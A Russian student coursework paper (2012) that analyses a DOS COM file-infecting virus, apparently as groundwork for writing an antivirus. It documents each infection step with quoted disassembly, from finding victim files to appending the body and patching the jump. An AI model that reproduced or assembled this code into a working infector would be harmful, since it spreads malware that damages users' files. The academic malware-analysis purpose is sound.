Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Курсовая_антивирус.docx
Скачиваний:
12
Добавлен:
08.06.2015
Размер:
70.81 Кб
Скачать

Министерство образования и науки России

федеральное государственное бюджетное образовательное

учреждение высшего профессионального образования

«Самарский государственный технический университет»

Факультет автоматики и информационных технологий

Кафедра «Электронные системы и информационная безопасность»

Курсовая работа

по дисциплине

«Программно-аппаратная защита информации»

на тему:

«Исследование компьютерного вируса»

Вариант №16

Выполнил:

студент 3-АИТ-2

Литвишкин Михаил Юрьевич

Проверил:

Дорфман А. В.

Самара, 2012

Содержание:

Введение..............................................................................3

  1. Анализ вируса................................................................4

  2. Алгоритм работы антивируса.......................................7

  3. Листинг вируса..............................................................10

  4. Исходный код антивируса............................................19

Список литературы.............................................................25

Введение.

Количество и разнообразие вредоносных программ неуклонно растёт, причём их создание оформилось в целую индустрию: если раньше создавались в основном деструктивные программы, то в последние годы сформилась тенденция бурного развития программ, позволяющих проводить различные виды мошенничества (такие, как кража банковской информации, номеров кредитных карт, паролей от электронных кошельков и т.п.; DDoS-атаки; создание многофункциональных зомби-сетей; рассылка спама и т.д.) с целью получения прибыли.

Разработчики вирусов и антивирусов находятся в динамическом противоборстве, системы нападения и защиты постоянно совершенствуются, в ответ на новые вирусные технологии создаются новые антивирусные.

Благодаря растущей скорости и доступности сети Интернет современные вредоносные программы распространяются очень быстро, а сотрудникам антивирусных компаний приходится изучать новые вредоносные программы и искать способы противодействия им в довольно сжатые сроки.

В настоящее время не существует антивирусных программ, спсобных справиться со всеми угрозами, не все антивирусы дают даже 90%-ную защиту. Существует целый ряд проблем: баланс между тщательностью защиты и скоростью работы антивирусных программ, технологическакя исключительность различных антивирусных программ (несовместимость их друг с другом), своевременное обнаружение неизвестных угроз, сложность устранения всех последствий заражения, противодействие методам полиморфизма и т.д.

Таким образом, проблема создания вредоносных программ и противодействия им становится особенно актуальной сейчас, в условиях развития информационных технологий и средств связи.

  1. Анализ вируса.

Исследуемый вирус представляет собой внедряющийся СОМ-вирус, записывающийся в конец файла.

Алгоритм работы вируса:

  1. Определение дельта-смещения:

seg000:0196 call $+3

seg000:01A0 pop bp

seg000:01A4 sub bp, 99h

  1. Восстановление в памяти первых четырёх байт исходной программы:

seg000:0288 mov ax, [bp+1C2h]

seg000:0297 mov word ptr cs:start+2, ax

seg000:029F mov ax, [bp+1C0h]

seg000:02AB mov word ptr cs:start, ax

  1. Переключение DTA на специальный массив внутри вируса:

seg000:035A set_new_dta:

seg000:035A lea dx, [bp+1C4h]

seg000:0366 mov ah, 1Ah

seg000:0372 int 21h

  1. Поиск первого подходящего файла для заражения. Если ошибка, то переход на п.18:

seg000:01BC mov cx, 7

seg000:01C4 lea dx, [bp+40Bh]

seg000:01CE mov ax, 4E00h

seg000:01D9 int 21h

seg000:01DB jnb short continue

seg000:01DD jmp restore_dta

seg000:01E0 continue:

  1. Изменение атрибутов найденного файла на стандартные с предварительным сохранением их внутри вируса:

seg000:02EF mov ax, 4300h

seg000:02FC lea dx, [bp+1E2h]

seg000:0304 int 21h

seg000:030C mov [bp+3DAh], cx

seg000:031C mov ax, 4301h

seg000:0322 xor cx, cx

seg000:0329 int 21h

  1. Открытие найденного файла для чтения и записи:

seg000:0383 lea dx, [bp+1E2h]

seg000:038E mov ax, 3D02h

seg000:0397 int 21h

seg000:0399 jnb short mov_descr

seg000:039B jmp rest_attributes

seg000:039E mov_descr:

seg000:03A3 mov bx, ax

  1. Считывание первых четырёх байт жертвы и сохранение их внутри вируса:

seg000:024C mov cx, 4

seg000:0255 mov ah, 3Fh

seg000:025C lea dx, [bp+1C0h]

seg000:026C int 21h

seg000:026E jnb short continue2

seg000:0270 jmp close_file

seg000:0273 continue2:

seg000:027C jmp proverka_metka

  1. Проверка файла на наличие метки заражения. Если она уже есть, то переход на п.15:

seg000:0513 cmp byte ptr [bp+1C3h], 0FEh

seg000:0518 jnz short proverka_exe

seg000:051A jmp close_file

  1. Проверка, не является ли жертва EXE-файлом. Если является, то переход на п.15:

seg000:0523 cmp word ptr [bp+1C0h], 5A4Dh

seg000:0529 jnz short proverka_min

seg000:052B jmp close_file

  1. Проверка, подходит ли жертва по размеру (1024 Б – 64000 Б). Если нет, то переход на п.15:

seg000:052E proverka_min:

seg000:0534 mov ax, [bp+1DEh]

seg000:0541 cmp ax, 400h

seg000:0544 ja short proverka_max

seg000:0546 jmp close_file

seg000:0549 proverka_max:

seg000:054D cmp ax, 0FA00h

seg000:0550 jb short okay

seg000:0552 jmp close_file

seg000:0555 okay:

  1. Сохранение даты и времени последнего изменения файла внутри вируса:

seg000:021F mov ax, 5700h

seg000:0227 int 21h

seg000:0230 mov [bp+468h], dx

seg000:0239 mov [bp+411h], cx

  1. Перемещение указателя на конец файла и запись тела вируса:

seg000:0464 xor cx, cx

seg000:0471 mov ax, 4202h

seg000:047C xor dx, dx

seg000:0482 int 21h

seg000:0484 jnb short write_vir

seg000:0486 jmp restore_data

seg000:0489 write_vir:

seg000:0489 mov ax,[ bp+1DEh]

seg000:0490 sub ax, 3

seg000:0498 mov [bp+3D7h], ax

seg000:04A2 mov ah, 40h

seg000:04AB mov cx, [bp+466h]

seg000:04B7 lea dx, [bp+96h]

seg000:04C3 int 21h

seg000:04C5 jnb short next_step

seg000:04C7 jmp restore_data

seg000:04CA next_step:

seg000:04CD jmp mov_poin_to_beg

  1. Перемещение указателя на начало файла, запись команды прыжка на код вируса и метки заражения:

seg000:03F7 xor dx, dx

seg000:03FE xor cx, cx

seg000:0402 mov ax, 4200h

seg000:0409 int 21h

seg000:040B jnb short write_bytes

seg000:040D jmp restore_data

seg000:0410 write_bytes:

seg000:041A mov cx, 4

seg000:0427 lea dx, [bp+3D6h]

seg000:042E mov ah, 40h

seg000:0436 int 21h

  1. Восстанавление старой даты и времени последнего изменения файла:

seg000:04DC mov dx, [bp+468h]

seg000:04E5 mov ax, 5701h

seg000:04EE mov cx, [bp+411h]

seg000:04F7 int 21h

  1. Закрытие жертвы:

seg000:033F mov ah, 3Eh

seg000:034A int 21h

  1. Восстанавление атрибутов файла:

seg000:01F0 mov cx, [bp+3DAh]

seg000:01FA mov ax, 4301h

seg000:0202 lea dx, [bp+1E2h]

seg000:020A int 21h

  1. Поиск следующего подходящего для заражения файла. Если успешно, то прыжок на п.5:

seg000:03B4 mov ah, 4Fh

seg000:03BD int 21h

seg000:03BF jb short forward

seg000:03C1 jmp set_attributes

seg000:03C4 forward:

  1. Возврат DTA на исходную позицию:

seg000:03D3 mov ax, 1A00h

seg000:03DC mov dx, 80h

seg000:03E4 int 21h

  1. Передача управления программе-носителю по смещению 100h:

seg000:044C mov ax, 0DBDAh

seg000:0453 xor ax, 0DADAh

seg000:045E jmp ax